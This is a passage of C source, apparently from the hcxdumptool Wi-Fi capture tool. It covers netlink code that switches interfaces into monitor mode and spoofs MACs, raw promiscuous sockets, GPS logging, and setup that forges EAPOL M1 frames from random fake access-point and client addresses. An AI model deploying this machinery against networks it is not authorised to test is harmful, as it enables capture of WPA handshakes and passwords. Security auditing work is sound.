if((write(fd_socket_nl, nltxbuffer, i)) != i) { #ifdef HCXDEBUG fprintf(fh_debug, "nl_set_powersave_off failed: %s\n", strerror(errno)); #endif return; } while(1) { msglen = read(fd_socket_nl, &nlrxbuffer, NLRX_SIZE); if(msglen == -1) break; if(msglen == 0) break; for(nlh = (struct nlmsghdr*)nlrxbuffer; NLMSG_OK(nlh, (u32)msglen); nlh = NLMSG_NEXT(nlh, msglen)) { if(nlh->nlmsg_type == NLMSG_DONE) return; if(nlh->nlmsg_type == NLMSG_ERROR) { nle = (struct nlmsgerr*)(nlrxbuffer + sizeof(struct nlmsghdr)); if(nle->error == 0) return; errorcount++; return; } } } return; } /*---------------------------------------------------------------------------*/ static inline bool nl_set_monitormode(void) { static ssize_t i; static ssize_t msglen; static struct nlmsghdr *nlh; static struct genlmsghdr *glh; static struct nlattr *nla; static struct nlmsgerr *nle; i = 0; nlh = (struct nlmsghdr*)nltxbuffer; nlh->nlmsg_type = nlfamily; nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK; nlh->nlmsg_seq = nlseqcounter++; nlh->nlmsg_pid = hcxpid; i += sizeof(struct nlmsghdr); glh = (struct genlmsghdr*)(nltxbuffer + i); glh->cmd = NL80211_CMD_SET_INTERFACE; glh->version = 1; glh->reserved = 0; i += sizeof(struct genlmsghdr); nla = (struct nlattr*)(nltxbuffer + i); nla->nla_len = 8; nla->nla_type = NL80211_ATTR_IFINDEX; *(u32*)nla_data(nla) = ifaktindex; i += 8; nla = (struct nlattr*)(nltxbuffer + i); nla->nla_len = 8; nla->nla_type = NL80211_ATTR_IFTYPE; *(u32*)nla_data(nla) = NL80211_IFTYPE_MONITOR; i += 8; if(((ifakttype & IFTYPEMONACT) == IFTYPEMONACT) && (activemonitorflag == true)) { nla = (struct nlattr*)(nltxbuffer + i); nla->nla_len = 8; nla->nla_type = NL80211_ATTR_MNTR_FLAGS; nla = (struct nlattr*)nla_data(nla); nla->nla_len = 4; nla->nla_type = NL80211_MNTR_FLAG_ACTIVE; i += 8; } nlh->nlmsg_len = i; if((write(fd_socket_nl, nltxbuffer, i)) != i) return false; while(1) { msglen = read(fd_socket_nl, &nlrxbuffer, NLRX_SIZE); if(msglen == -1) break; if(msglen == 0) break; for(nlh = (struct nlmsghdr*)nlrxbuffer; NLMSG_OK(nlh, (u32)msglen); nlh = NLMSG_NEXT(nlh, msglen)) { if(nlh->nlmsg_type == NLMSG_DONE) return true; if(nlh->nlmsg_type == NLMSG_ERROR) { nle = (struct nlmsgerr*)(nlrxbuffer + sizeof(struct nlmsghdr)); if(nle->error == 0) return true; errorcount++; return false; } } } return false; } /*===========================================================================*/ /* RTLINK */ static void *rta_data(const struct rtattr *rta) { return (u8*)rta +4; } /*---------------------------------------------------------------------------*/ static bool rt_set_interfacemac(void) { static ssize_t i; static ssize_t msglen; static struct nlmsghdr *nlh; static struct ifinfomsg *ifih; static struct rtattr *rta; static struct nlmsgerr *nle; i = 0; nlh = (struct nlmsghdr*)nltxbuffer; nlh->nlmsg_type = RTM_NEWLINK; nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK; nlh->nlmsg_seq = nlseqcounter++; nlh->nlmsg_pid = hcxpid; i += sizeof(struct nlmsghdr); ifih = (struct ifinfomsg*)(nltxbuffer+ i); ifih->ifi_family = 0; ifih->ifi_type = 0; ifih->ifi_index = ifaktindex; ifih->ifi_flags = 0; ifih->ifi_change = 0; i += sizeof(struct ifinfomsg); rta = (struct rtattr*)(nltxbuffer+ i); rta->rta_len = 10; rta->rta_type = IFLA_ADDRESS; memcpy(&nltxbuffer[i + 4], &macclientrg, ETH_ALEN +2); i += 12; nlh->nlmsg_len = i; if((write(fd_socket_rt, nltxbuffer, i)) != i) return false; while(1) { msglen = read(fd_socket_rt, &nlrxbuffer, NLRX_SIZE); if(msglen == -1) break; if(msglen == 0) break; for(nlh = (struct nlmsghdr*)nlrxbuffer; NLMSG_OK(nlh, (u32)msglen); nlh = NLMSG_NEXT(nlh, msglen)) { if(nlh->nlmsg_type == NLMSG_DONE) return false; if(nlh->nlmsg_type == NLMSG_ERROR) { nle = (struct nlmsgerr*)(nlrxbuffer + sizeof(struct nlmsghdr)); if(nle->error == 0) return true; errorcount++; return false; } } } return false; } /*---------------------------------------------------------------------------*/ static bool rt_set_interface(u32 condition) { static ssize_t i; static ssize_t msglen; static struct nlmsghdr *nlh; static struct ifinfomsg *ifih; static struct nlmsgerr *nle; i = 0; nlh = (struct nlmsghdr*)nltxbuffer; nlh->nlmsg_type = RTM_NEWLINK; nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK; nlh->nlmsg_seq = nlseqcounter++; nlh->nlmsg_pid = hcxpid; i += sizeof(struct nlmsghdr); ifih = (struct ifinfomsg*)(nltxbuffer+ i); ifih->ifi_family = 0; ifih->ifi_type = 0; ifih->ifi_index = ifaktindex; ifih->ifi_flags = condition; ifih->ifi_change = 1; i += sizeof(struct ifinfomsg); nlh->nlmsg_len = i; if((write(fd_socket_rt, nltxbuffer, i)) != i) return false; while(1) { msglen = read(fd_socket_rt, &nlrxbuffer, NLRX_SIZE); if(msglen == -1) break; if(msglen == 0) break; for(nlh = (struct nlmsghdr*)nlrxbuffer; NLMSG_OK(nlh, (u32)msglen); nlh = NLMSG_NEXT(nlh, msglen)) { if(nlh->nlmsg_type == NLMSG_DONE) return false; if(nlh->nlmsg_type == NLMSG_ERROR) { nle = (struct nlmsgerr*)(nlrxbuffer + sizeof(struct nlmsghdr)); if(nle->error == 0) return true; errorcount++; return false; } } } return false; } /*---------------------------------------------------------------------------*/ static bool rt_get_interfacestatus(void) { static ssize_t i; static ssize_t msglen; static struct nlmsghdr *nlh; static struct ifinfomsg *ifih; static struct nlmsgerr *nle; i = 0; nlh = (struct nlmsghdr*)nltxbuffer; nlh->nlmsg_type = RTM_GETLINK; nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK; nlh->nlmsg_seq = nlseqcounter++; nlh->nlmsg_pid = hcxpid; i += sizeof(struct nlmsghdr); ifih = (struct ifinfomsg*)(nltxbuffer+ i); ifih->ifi_family = AF_PACKET; ifih->ifi_type = 0; ifih->ifi_index = ifaktindex; ifih->ifi_flags = 0; ifih->ifi_change = 0; i += sizeof(struct ifinfomsg); nlh->nlmsg_len = i; if((write(fd_socket_rt, nltxbuffer, i)) != i) return false; while(1) { msglen = read(fd_socket_rt, &nlrxbuffer, NLRX_SIZE); if(msglen == -1) break; if(msglen == 0) break; for(nlh = (struct nlmsghdr*)nlrxbuffer; NLMSG_OK(nlh, (u32)msglen); nlh = NLMSG_NEXT(nlh, msglen)) { if(nlh->nlmsg_type == NLMSG_DONE) return false; if(nlh->nlmsg_type == NLMSG_ERROR) { nle = (struct nlmsgerr*)(nlrxbuffer + sizeof(struct nlmsghdr)); if(nle->error == 0) return true; errorcount++; return false; } ifih = (struct ifinfomsg*)NLMSG_DATA(nlh); if((ifih->ifi_flags & IFF_UP) == IFF_UP) ifaktstatus |= IF_STAT_UP; } } return false; } /*---------------------------------------------------------------------------*/ static bool rt_get_interfacelist(void) { static ssize_t i; static ssize_t msglen; static struct nlmsghdr *nlh; static struct ifinfomsg *ifih; static struct nlmsgerr *nle; static struct rtattr *rta; static int rtaremlen; static u8 hwmac[ETH_ALEN]; i = 0; nlh = (struct nlmsghdr*)nltxbuffer; nlh->nlmsg_type = RTM_GETLINK; nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_DUMP; nlh->nlmsg_seq = nlseqcounter++; nlh->nlmsg_pid = hcxpid; i += sizeof(struct nlmsghdr); ifih = (struct ifinfomsg*)(nltxbuffer+ i); ifih->ifi_family = AF_PACKET; ifih->ifi_type = 0; ifih->ifi_index = 0; ifih->ifi_flags = 0; ifih->ifi_change = 0; i += sizeof(struct ifinfomsg); rta = (struct rtattr*)(nltxbuffer+ i); rta->rta_type = IFLA_EXT_MASK; *(u32*)rta_data(rta) = 1; rta->rta_len = 8; i += 8; nlh->nlmsg_len = i; if((write(fd_socket_rt, nltxbuffer, i)) != i) return false; while(1) { msglen = read(fd_socket_rt, &nlrxbuffer, NLRX_SIZE); if(msglen == -1) break; if(msglen == 0) break; for(nlh = (struct nlmsghdr*)nlrxbuffer; NLMSG_OK(nlh, (u32)msglen); nlh = NLMSG_NEXT(nlh, msglen)) { if(nlh->nlmsg_type == NLMSG_DONE) return true; if(nlh->nlmsg_type == NLMSG_ERROR) { nle = (struct nlmsgerr*)(nlrxbuffer + sizeof(struct nlmsghdr)); if(nle->error == 0) return true; errorcount++; return false; } ifih = (struct ifinfomsg*)NLMSG_DATA(nlh); if((ifih->ifi_flags & IFF_UP) == IFF_UP) ifaktstatus |= IF_STAT_UP; rta = (struct rtattr*)((unsigned char*)NLMSG_DATA(nlh) + sizeof(struct ifinfomsg)); rtaremlen = NLMSG_PAYLOAD(nlh, 0) - sizeof(struct ifinfomsg); while(RTA_OK(rta, rtaremlen)) { #if(LINUX_VERSION_CODE >= KERNEL_VERSION(5, 10, 0)) if(rta->rta_type == IFLA_PERM_ADDRESS) { if(rta->rta_len == 10) memcpy(hwmac, rta_data(rta), ETH_ALEN); } #else if(rta->rta_type == IFLA_ADDRESS) { if(rta->rta_len == 10) memcpy(hwmac, rta_data(rta), ETH_ALEN); } #endif rta = RTA_NEXT(rta, rtaremlen); } for(i = 0; i < INTERFACELIST_MAX; i++) { if((ifpresentlist +i)->index == ifih->ifi_index) memcpy((ifpresentlist +i)->hwmac, &hwmac, ETH_ALEN); } } } return false; } /*---------------------------------------------------------------------------*/ static bool nl_get_familyid(void) { static ssize_t i; static ssize_t msglen; static struct nlmsghdr *nlh; static struct genlmsghdr *glh; static struct nlattr *nla; static struct nlmsgerr *nle; static int nlremlen = 0; i = 0; nlfamily = 0; nlh = (struct nlmsghdr*)nltxbuffer; nlh->nlmsg_type = GENL_ID_CTRL; nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK; nlh->nlmsg_seq = nlseqcounter++; nlh->nlmsg_pid = hcxpid; i += sizeof(struct nlmsghdr); glh = (struct genlmsghdr*)(nltxbuffer + i); glh->cmd = CTRL_CMD_GETFAMILY; glh->version = 1; glh->reserved = 0; i += sizeof(struct genlmsghdr); nla = (struct nlattr*)(nltxbuffer + i); nla->nla_type = CTRL_ATTR_FAMILY_NAME; i += sizeof(struct nlattr); memcpy(nltxbuffer +i, NL80211_GENL_NAME, sizeof(NL80211_GENL_NAME)); i += sizeof(NL80211_GENL_NAME); nla->nla_len = sizeof(struct nlattr) + sizeof(NL80211_GENL_NAME); nlh->nlmsg_len = i; if((write(fd_socket_nl, nltxbuffer, i)) != i) return false; while(1) { msglen = read(fd_socket_nl, &nlrxbuffer, NLRX_SIZE); if(msglen == -1) break; if(msglen == 0) break; for(nlh = (struct nlmsghdr*)nlrxbuffer; NLMSG_OK(nlh, (u32)msglen); nlh = NLMSG_NEXT(nlh, msglen)) { if(nlh->nlmsg_type == NLMSG_DONE) return true; if(nlh->nlmsg_type == NLMSG_ERROR) { nle = (struct nlmsgerr*)(nlrxbuffer + sizeof(struct nlmsghdr)); if(nle->error == 0) return true; errorcount++; nlfamily = 0; return false; } glh = (struct genlmsghdr*)NLMSG_DATA(nlh); nla = (struct nlattr*)((unsigned char*)NLMSG_DATA(nlh) + sizeof(struct genlmsghdr)); nlremlen = 0; nlremlen = NLMSG_PAYLOAD(nlh, 0) -4; while(nla_ok(nla, nlremlen)) { if(nla->nla_type == CTRL_ATTR_FAMILY_ID) nlfamily = *((u16*)nla_data(nla)); nla = nla_next(nla, &nlremlen); } } } nlfamily = 0; return false; } /*===========================================================================*/ static void usrfrequency_to_scanlist(u16 ufrq) { size_t i; if(ufrq == 0) return; for(i = 0; i < (FREQUENCYLIST_MAX -1); i++) { if((ifaktfrequencylist +i)->status == 0) { if((ifaktfrequencylist +i)->frequency == ufrq) { (scanlist + scanlistindex)->frequency = ufrq; (scanlist + scanlistindex)->channel = frequency_to_channel(ufrq); scanlistindex++; if(scanlistindex >= (FREQUENCYLIST_MAX -1)) return; return; } } } return; } /*---------------------------------------------------------------------------*/ static bool set_interface(bool interfacefrequencyflag, char *userfrequencylistname, char *userchannellistname, bool monitorflag) { static size_t i; static char *ufld = NULL; static char *tokptr = NULL; static char *userband = NULL; static u16 uband; static u32 ufreq; if(ifaktindex == 0) { for(i = 0; i < ifpresentlistcounter; i++) { if(((ifpresentlist +i)->type & IF_HAS_NLMON) == IF_HAS_NLMON) { ifaktindex = (ifpresentlist +i)->index; ifakttype = (ifpresentlist +i)->type; memcpy(&ifaktname, (ifpresentlist +i)->name, IF_NAMESIZE); memcpy(&ifakthwmac, (ifpresentlist +i)->hwmac, ETH_ALEN); ifaktfrequencylist = (ifpresentlist +i)->frequencylist; break; } } } else { for(i = 0; i < ifpresentlistcounter; i++) { if((ifpresentlist +i)->index == ifaktindex) { if(((ifpresentlist +i)->type & IF_HAS_NLMON) == 0) return false; ifakttype = (ifpresentlist +i)->type; memcpy(&ifakthwmac, (ifpresentlist +i)->hwmac, ETH_ALEN); ifaktfrequencylist = (ifpresentlist +i)->frequencylist; break; } } } if(ifaktfrequencylist == NULL) return false; if(rt_set_interface(0) == false) return false; if(rt_set_interfacemac() == false) vmflag = false; if(nl_set_monitormode() == false) return false; if(rt_set_interface(IFF_UP) == false) return false; nl_set_powersave_off(); if(nl_get_interfacestatus() == false) return false; if(rt_get_interfacestatus() == false) return false; scanlistindex = 0; if(interfacefrequencyflag == true) { for(i = 0; i < (FREQUENCYLIST_MAX -1); i++) { if((ifaktfrequencylist +i)->status == 0) { (scanlist + scanlistindex)->frequency = (ifaktfrequencylist +i)->frequency; (scanlist + scanlistindex)->channel = (ifaktfrequencylist +i)->channel; scanlistindex++; if(scanlistindex >= (FREQUENCYLIST_MAX -1)) break; } if((ifaktfrequencylist +i)->frequency == 0) break; } } else if((userfrequencylistname != NULL) || (userchannellistname != NULL)) { if(userfrequencylistname != NULL) { ufld = strdup(userfrequencylistname); tokptr = strtok(ufld, ","); while((tokptr != NULL) && (i < (SCANLIST_MAX - 1))) { usrfrequency_to_scanlist(strtol(tokptr, NULL, 10)); tokptr = strtok(NULL, ","); } free(ufld); } if(userchannellistname != NULL) { ufld = strdup(userchannellistname); tokptr = strtok(ufld, ","); while((tokptr != NULL) && (i < (SCANLIST_MAX - 1))) { uband = strtol(tokptr, &userband, 10); if(userband[0] == 'a') ufreq = channel_to_frequency(uband, NL80211_BAND_2GHZ); else if(userband[0] == 'b') ufreq = channel_to_frequency(uband, NL80211_BAND_5GHZ); #if(LINUX_VERSION_CODE >= KERNEL_VERSION(5, 10, 0)) else if(userband[0] == 'c') ufreq = channel_to_frequency(uband, NL80211_BAND_6GHZ); else if(userband[0] == 'd') ufreq = channel_to_frequency(uband, NL80211_BAND_60GHZ); else if(userband[0] == 'e') ufreq = channel_to_frequency(uband, NL80211_BAND_S1GHZ); #endif usrfrequency_to_scanlist(ufreq); tokptr = strtok(NULL, ","); } free(ufld); } } else { (scanlist + scanlistindex)->frequency = 2412; (scanlist + scanlistindex++)->channel = 1; (scanlist + scanlistindex)->frequency = 2437; (scanlist + scanlistindex++)->channel = 6; (scanlist + scanlistindex)->frequency = 2462; (scanlist + scanlistindex++)->channel = 11; (scanlist + scanlistindex)->frequency = 0; (scanlist + scanlistindex)->channel = 0; } scanlistindex = 0; if(nl_set_frequency() == false) return false; if(monitorflag == false) show_interfacecapabilities2(); return true; } /*===========================================================================*/ static bool set_monitormode(void) { if(rt_set_interface(0) == false) return false; if(nl_set_monitormode() == false) return false; if(rt_set_interface(IFF_UP) == false) return false; if(nl_get_interfacestatus() == false) return false; if(rt_get_interfacestatus() == false) return false; show_interfacecapabilities(); fprintf(stdout, "\n\nmonitor mode is active...\n"); return true; } /*===========================================================================*/ static bool get_interfacelist(void) { static size_t i; nl_get_familyid(); if(nlfamily == 0) { errorcount++; return false; } nl_get_regulatorydomain(); if(nl_get_interfacecapabilities() == false) return false; if(nl_get_interfacelist() == false) return false; for(i = 0; i < INTERFACELIST_MAX -1; i++) { if((ifpresentlist +i)->index == 0) break; ifpresentlistcounter++; } if(rt_get_interfacelist() == false) return false; if(ifpresentlist->index == 0) return false; qsort(ifpresentlist, ifpresentlistcounter, INTERFACELIST_SIZE, sort_interfacelist_by_index); return true; } /*===========================================================================*/ /* RAW PACKET SOCKET */ static bool open_socket_tx(void) { static struct sockaddr_ll saddr; static struct packet_mreq mrq; static int socket_tx_flags; static int prioval; static socklen_t priolen; if((fd_socket_tx = socket(PF_PACKET, SOCK_RAW | SOCK_CLOEXEC, htons(ETH_P_ALL))) < 0) return false; memset(&mrq, 0, sizeof(mrq)); mrq.mr_ifindex = ifaktindex; mrq.mr_type = PACKET_MR_PROMISC; if(setsockopt(fd_socket_tx, SOL_PACKET, PACKET_ADD_MEMBERSHIP, &mrq, sizeof(mrq)) < 0) return false; priolen = sizeof(prioval); prioval = 20; if(setsockopt(fd_socket_rx, SOL_SOCKET, SO_PRIORITY, &prioval, priolen) < 0) return false; memset(&saddr, 0, sizeof(saddr)); saddr.sll_family = PF_PACKET; saddr.sll_ifindex = ifaktindex; saddr.sll_protocol = htons(ETH_P_ALL); saddr.sll_halen = ETH_ALEN; saddr.sll_pkttype = PACKET_OTHERHOST; if(bind(fd_socket_tx, (struct sockaddr*) &saddr, sizeof(saddr)) < 0) return false; if((socket_tx_flags = fcntl(fd_socket_tx, F_GETFL, 0)) < 0) return false; if(fcntl(fd_socket_tx, F_SETFL, socket_tx_flags | O_NONBLOCK) < 0) return false; return true; } /*---------------------------------------------------------------------------*/ static bool open_socket_rx(char *bpfname) { static size_t c = 10; static struct sockaddr_ll saddr; static struct packet_mreq mrq; #if(LINUX_VERSION_CODE >= KERNEL_VERSION(4, 20, 0)) static int enable = 1; #endif static int socket_rx_flags; static int prioval; static socklen_t priolen; bpf.len = 0; if(bpfname != NULL) { if(read_bpf(bpfname) == false) { errorcount++; fprintf(stderr, "failed to read BPF\n"); return false; } } if((fd_socket_rx = socket(PF_PACKET, SOCK_RAW | SOCK_CLOEXEC, htons(ETH_P_ALL))) < 0) return false; memset(&mrq, 0, sizeof(mrq)); mrq.mr_ifindex = ifaktindex; mrq.mr_type = PACKET_MR_PROMISC; if(setsockopt(fd_socket_rx, SOL_PACKET, PACKET_ADD_MEMBERSHIP, &mrq, sizeof(mrq)) < 0) return false; priolen = sizeof(prioval); prioval = 20; if(setsockopt(fd_socket_rx, SOL_SOCKET, SO_PRIORITY, &prioval, priolen) < 0) return false; #if(LINUX_VERSION_CODE >= KERNEL_VERSION(4, 20, 0)) if(setsockopt(fd_socket_rx, SOL_PACKET, PACKET_IGNORE_OUTGOING, &enable, sizeof(int)) < 0) fprintf(stderr, "PACKET_IGNORE_OUTGOING is not supported by kernel\nfalling back to validate radiotap header length\n"); #endif if(bpf.len > 0) { if(setsockopt(fd_socket_rx, SOL_SOCKET, SO_ATTACH_FILTER, &bpf, sizeof(bpf)) < 0) return false; } memset(&saddr, 0, sizeof(saddr)); saddr.sll_family = PF_PACKET; saddr.sll_ifindex = ifaktindex; saddr.sll_protocol = htons(ETH_P_ALL); saddr.sll_halen = ETH_ALEN; saddr.sll_pkttype = PACKET_OTHERHOST; if(bind(fd_socket_rx, (struct sockaddr*) &saddr, sizeof(saddr)) < 0) return false; if((socket_rx_flags = fcntl(fd_socket_rx, F_GETFL, 0)) < 0) return false; if(fcntl(fd_socket_rx, F_SETFL, socket_rx_flags | O_NONBLOCK) < 0) return false; while((!wanteventflag) || (c != 0)) { packetlen = read(fd_socket_rx, epb +EPB_SIZE, PCAPNG_SNAPLEN); if(packetlen == -1) break; c--; } return true; } /*===========================================================================*/ /* GPS */ #ifdef HCXNMEAOUT static bool open_nmea0183_file(char *hcxposoutname) { static int c; static struct stat statinfo; static char *hcxposfilename = NULL; static char hcxposname[PATH_MAX]; if(hcxposoutname == NULL) { c = 0; snprintf(hcxposname, PATH_MAX, "%s.nmea", timestring1); while(stat(hcxposname, &statinfo) == 0) { snprintf(hcxposname, PATH_MAX, "%s-%02d.nmea", timestring1, c); c++; } hcxposfilename = hcxposname; } else hcxposfilename = hcxposoutname; if((fd_hcxpos = open(hcxposfilename, O_WRONLY | O_CREAT, 0777)) < 0) return false; return true; } /*---------------------------------------------------------------------------*/ static bool open_socket_gpsd(char *hcxposoutname) { static int socket_gps_flags; static struct sockaddr_in gpsd_addr; static const char *gpsd_enable_nmea = "?WATCH={\"enable\":true,\"json\":false,\"nmea\":true}"; if((fd_gps = socket(AF_INET, SOCK_STREAM, 0)) < 0) return false; memset(&gpsd_addr, 0, sizeof(struct sockaddr_in)); gpsd_addr.sin_family = AF_INET; gpsd_addr.sin_port = htons(2947); gpsd_addr.sin_addr.s_addr = inet_addr("127.0.0.1"); if(connect(fd_gps, (struct sockaddr*) &gpsd_addr, sizeof(gpsd_addr)) < 0) return false; if(fcntl(fd_gps, F_SETFL, socket_gps_flags | O_NONBLOCK) < 0) return false; if(write(fd_gps, gpsd_enable_nmea, 47) != 47) return false; if(open_nmea0183_file(hcxposoutname) == false) return false; return true; } /*---------------------------------------------------------------------------*/ static bool open_device_nmea0183(char *nmea0183name, char *hcxposoutname) { static struct termios tty; if((fd_gps = open(nmea0183name, O_RDONLY | O_NONBLOCK)) < 0) return false; if(flock(fd_gps, LOCK_EX) < 0) return false; if(tcgetattr(fd_gps, &tty) < 0) return false; tty.c_cflag &= ~PARENB; // Clear parity bit, disabling parity (most common) tty.c_cflag &= ~CSTOPB; // Clear stop field, only one stop bit used in communication (most common) tty.c_cflag &= ~CSIZE; // Clear all bits that set the data size tty.c_cflag |= CS8; // 8 bits per byte (most common) tty.c_cflag &= ~CRTSCTS; // Disable RTS/CTS hardware flow control (most common) tty.c_cflag |= CREAD | CLOCAL; // Turn on READ & ignore ctrl lines (CLOCAL = 1) tty.c_lflag &= ~ICANON; tty.c_lflag &= ~ECHO; // Disable echo tty.c_lflag &= ~ECHOE; // Disable erasure tty.c_lflag &= ~ECHONL; // Disable new-line echo tty.c_lflag &= ~ISIG; // Disable interpretation of INTR, QUIT and SUSP tty.c_iflag &= ~(IXON | IXOFF | IXANY); // Turn off s/w flow ctrl tty.c_iflag &= ~(IGNBRK|BRKINT|PARMRK|ISTRIP|INLCR|IGNCR|ICRNL); // Disable any special handling of received bytes tty.c_oflag &= ~OPOST; // Prevent special interpretation of output bytes (e.g. newline chars) tty.c_oflag &= ~ONLCR; // Prevent conversion of newline to carriage return/line feed tty.c_cc[VTIME] = 10; // Wait for up to 1s (10 deciseconds), returning as soon as any data is received. tty.c_cc[VMIN] = 0; cfsetispeed(&tty, B9600); cfsetospeed(&tty, B9600); if (tcsetattr(fd_gps, TCSANOW, &tty) < 0) return false; if(open_nmea0183_file(hcxposoutname) == false) return false; return true; } #endif /*===========================================================================*/ /* CONTROL SOCKETS */ static void close_sockets(void) { if(fd_socket_unix != 0) close(fd_socket_unix); if(fd_socket_rt != 0) close(fd_socket_rt); if(fd_socket_nl != 0) close(fd_socket_nl); if(fd_socket_tx != 0) close(fd_socket_tx); if(bpf.filter != NULL) { if(fd_socket_rx > 0) setsockopt(fd_socket_rx, SOL_SOCKET, SO_DETACH_FILTER, &bpf, sizeof(bpf)); free(bpf.filter); } if(fd_socket_rx != 0) close(fd_socket_rx); return; } /*---------------------------------------------------------------------------*/ static bool open_socket_unix(void) { if((fd_socket_unix = socket(AF_UNIX, SOCK_DGRAM | SOCK_CLOEXEC, 0)) < 0) return false; return true; } /*---------------------------------------------------------------------------*/ static bool open_socket_rt(void) { static struct sockaddr_nl saddr; static int nltxbuffsize = NLTX_SIZE; static int nlrxbuffsize = NLRX_SIZE; if((fd_socket_rt = socket(AF_NETLINK, SOCK_RAW | SOCK_CLOEXEC, NETLINK_ROUTE)) < 0) return false; if(setsockopt(fd_socket_rt, SOL_SOCKET, SO_SNDBUF, &nltxbuffsize, sizeof(nltxbuffsize)) < 0) return false; if(setsockopt(fd_socket_rt, SOL_SOCKET, SO_RCVBUF, &nlrxbuffsize, sizeof(nlrxbuffsize)) < 0) return false; memset(&saddr, 0, sizeof(saddr)); saddr.nl_family = AF_NETLINK; saddr.nl_pid = getpid(); if(bind(fd_socket_rt, (struct sockaddr *)&saddr, sizeof(saddr)) < 0) return false; return true; } /*---------------------------------------------------------------------------*/ static bool open_socket_nl(void) { static struct sockaddr_nl saddr; static int nltxbuffsize = NLTX_SIZE; static int nlrxbuffsize = NLRX_SIZE; if((fd_socket_nl = socket(AF_NETLINK, SOCK_RAW | SOCK_CLOEXEC, NETLINK_GENERIC)) < 0) return false; if(setsockopt(fd_socket_nl, SOL_SOCKET, SO_SNDBUF, &nltxbuffsize, sizeof(nltxbuffsize)) < 0) return false; if(setsockopt(fd_socket_nl, SOL_SOCKET, SO_RCVBUF, &nlrxbuffsize, sizeof(nlrxbuffsize)) < 0) return false; if(fcntl(fd_socket_nl, F_SETFL, O_NONBLOCK) < 0) return false; memset(&saddr, 0, sizeof(saddr)); saddr.nl_family = AF_NETLINK; saddr.nl_pid = hcxpid; if(bind(fd_socket_nl, (struct sockaddr *)&saddr, sizeof(saddr)) < 0) return false; return true; } /*===========================================================================*/ static bool open_control_sockets(void) { if(open_socket_rt() == false) return false; if(open_socket_nl() == false) return false; if(open_socket_unix() == false) return false; return true; } /*===========================================================================*/ /* TIMER */ static bool set_timer(void) { static struct itimerspec tval1; if((fd_timer1 = timerfd_create(CLOCK_BOOTTIME, 0)) < 0) return false; tval1.it_value.tv_sec = TIMER1_VALUE_SEC; tval1.it_value.tv_nsec = TIMER1_VALUE_NSEC; tval1.it_interval.tv_sec = TIMER1_INTERVAL_SEC; tval1.it_interval.tv_nsec = TIMER1_INTERVAL_NSEC; if(timerfd_settime(fd_timer1, 0, &tval1, NULL) == -1) return false; return true; } /*---------------------------------------------------------------------------*/ static bool set_timer_rca(void) { static struct itimerspec tval1; if((fd_timer1 = timerfd_create(CLOCK_BOOTTIME, 0)) < 0) return false; tval1.it_value.tv_sec = TIMER_RCA_VALUE_SEC; tval1.it_value.tv_nsec = TIMER_RCA_VALUE_NSEC; tval1.it_interval.tv_sec = TIMER_RCA_INTERVAL_SEC; tval1.it_interval.tv_nsec = TIMER_RCA_INTERVAL_NSEC; if(timerfd_settime(fd_timer1, 0, &tval1, NULL) == -1) return false; return true; } /*===========================================================================*/ /* SIGNALHANDLER */ static void signal_handler(int signum) { if((signum == SIGINT) || (signum == SIGTERM) || (signum == SIGKILL) || (signum == SIGTSTP)) wanteventflag |= EXIT_ON_SIGTERM; return; } /*---------------------------------------------------------------------------*/ static bool set_signal_handler(void) { struct sigaction sa; sa.sa_handler = signal_handler; sigemptyset(&sa.sa_mask); sa.sa_flags = SA_RESTART; if(sigaction(SIGINT, &sa, NULL) < 0) return false; if(sigaction(SIGTERM, &sa, NULL) < 0) return false; if(sigaction(SIGTSTP, &sa, NULL) < 0) return false; return true; } /*===========================================================================*/ static void init_values(void) { static size_t i; static struct timespec waitfordevice; waitfordevice.tv_sec = 1; waitfordevice.tv_nsec = 0; clock_gettime(CLOCK_REALTIME, &tspecakt); tsfirst = ((u64)tspecakt.tv_sec * 1000000000ULL) + tspecakt.tv_nsec; nanosleep(&waitfordevice, NULL); clock_gettime(CLOCK_REALTIME, &tspecakt); tsakt = ((u64)tspecakt.tv_sec * 1000000000ULL) + tspecakt.tv_nsec; tshold = ((u64)tspecakt.tv_sec * 1000000000ULL) + tspecakt.tv_nsec; strftime(timestring1, TIMESTRING_LEN, "%Y%m%d%H%M%S", localtime(&tspecakt.tv_sec)); seed += (unsigned int)tspecakt.tv_nsec & 0xffffffff; srand(seed); ouiaprg = (vendoraprg[rand() % ((VENDORAPRG_SIZE / sizeof(int)))]) &0xffffff; nicaprg = rand() & 0xffffff; macaprghidden[5] = nicaprg & 0xff; macaprghidden[4] = (nicaprg >> 8) & 0xff; macaprghidden[3] = (nicaprg >> 16) & 0xff; macaprghidden[2] = ouiaprg & 0xff; macaprghidden[1] = (ouiaprg >> 8) & 0xff; macaprghidden[0] = (ouiaprg >> 16) & 0xff; nicaprg++; macaprg[5] = nicaprg & 0xff; macaprg[4] = (nicaprg >> 8) & 0xff; macaprg[3] = (nicaprg >> 16) & 0xff; macaprg[2] = ouiaprg & 0xff; macaprg[1] = (ouiaprg >> 8) & 0xff; macaprg[0] = (ouiaprg >> 16) & 0xff; ouiclientrg = (vendorclientrg[rand() % ((VENDORCLIENTRG_SIZE / sizeof(int)))]) &0xffffff; nicclientrg = rand() & 0xffffff; macclientrg[7] = 0; macclientrg[6] = 0; macclientrg[5] = nicclientrg & 0xff; macclientrg[4] = (nicclientrg >> 8) & 0xff; macclientrg[3] = (nicclientrg >> 16) & 0xff; macclientrg[2] = ouiclientrg & 0xff; macclientrg[1] = (ouiclientrg >> 8) & 0xff; macclientrg[0] = (ouiclientrg >> 16) & 0xff; strncpy(weakcandidate, WEAKCANDIDATEDEF, PSK_MAX); replaycountrg = (rand() % 0xfff) + 0xf000; eapolm1data[0x17] = (replaycountrg >> 8) &0xff; eapolm1data[+0x18] = replaycountrg &0xff; for(i = 0; i < 32; i++) { anoncerg[i] = rand() % 0xff; eapolm1data[i + 0x19] = anoncerg[i]; snoncerg[i] = rand() % 0xff; } packetptr = &epb[EPB_SIZE]; memcpy(&wltxbuffer, &rthtxdata, RTHTX_SIZE); memcpy(&epbown[EPB_SIZE], &rthtxdata, RTHTX_SIZE); #ifdef HCXNMEAOUT memcpy(&gpwpl, &gpwplid, NMEA_GPWPLID_SIZE); memcpy(&gptxt, &gptxtid, NMEA_GPTXTID_SIZE); #endif return; } /*---------------------------------------------------------------------------*/ static void close_lists(void) { static size_t i; if(maclist != NULL) 